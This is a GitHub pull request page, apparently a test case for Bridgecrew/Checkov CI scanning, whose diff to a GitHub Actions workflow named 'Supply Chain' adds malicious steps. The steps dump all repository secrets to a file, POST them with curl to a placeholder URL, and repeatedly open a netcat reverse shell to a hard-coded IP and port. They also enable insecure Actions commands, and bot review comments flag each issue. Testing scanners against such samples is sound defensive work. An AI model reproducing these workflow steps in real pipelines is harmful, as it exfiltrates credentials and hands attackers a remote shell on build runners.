Skip to content

Update bad0.yaml #2

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
taysmith-test wants to merge 1 commit into
base: main
Choose a base branch
from
Open

Update bad0.yaml #2

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions .github/workflows/bad0.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
name: Supply Chain
on:
workflow_dispatch:
schedule:
workflow_dispatch:
schedule:
- cron: 0 0 * * 0
jobs:
bridgecrew:
Expand All @@ -11,22 +11,22 @@ jobs:
id: checkov
uses: bridgecrewio/checkov-action@master
env:
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
Copy link

@bridgecrew bridgecrew bot Aug 5, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of netcat with IP address
    Resource: jobs.bridgecrew.steps.Run checkov | ID: BC_GITHUB_ACTION_4

Copy link

@bridgecrew bridgecrew bot Aug 5, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of curl with secrets
    Resource: jobs.bridgecrew.steps.Run checkov | ID: BC_GITHUB_ACTION_3

Copy link

@bridgecrew bridgecrew bot Aug 5, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MEDIUM   Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables
    Resource: jobs.bridgecrew.steps.Run checkov | ID: BC_GITHUB_ACTION_1

Description

GitHub Actions has an environment variable flag called `ACTIONS_ALLOW_UNSECURE_COMMANDS` that allows GHA workflows to run deprecated commands `set-env` and `add-path`. These are vulnerable commands that should not be used as they expose accounts to potential credential theft or code injection.

ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'
run: |
echo "${{ toJSON(secrets) }}" > .secrets
curl -X POST -s --data "@.secrets" <BADURL > /dev/null
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f
bridgecrew2:
runs-on: ubuntu-latest
steps:
- name: Run checkov
Copy link

@bridgecrew bridgecrew bot Aug 5, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MEDIUM   Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables
    Resource: jobs.bridgecrew2.steps.Run checkov | ID: BC_GITHUB_ACTION_1

Description

GitHub Actions has an environment variable flag called `ACTIONS_ALLOW_UNSECURE_COMMANDS` that allows GHA workflows to run deprecated commands `set-env` and `add-path`. These are vulnerable commands that should not be used as they expose accounts to potential credential theft or code injection.

Copy link

@bridgecrew bridgecrew bot Aug 5, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of netcat with IP address
    Resource: jobs.bridgecrew2.steps.Run checkov | ID: BC_GITHUB_ACTION_4

Copy link

@bridgecrew bridgecrew bot Aug 5, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LOW   Suspicious use of curl with secrets
    Resource: jobs.bridgecrew2.steps.Run checkov | ID: BC_GITHUB_ACTION_3

id: checkov
uses: bridgecrewio/checkov-action@master
env:
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
GITHUB_TOKEN: ${{secrets.THIS_IS_A_TEST_SECRET}}
ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'
run: |
echo "${{ toJSON(secrets) }}" > .secrets
curl -X POST -s --data "@.secrets" <BADURL > /dev/null
curl -X POST -s --data "@.secrets" <BADURL > /dev/null
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 34.159.16.75 32032 >/tmp/f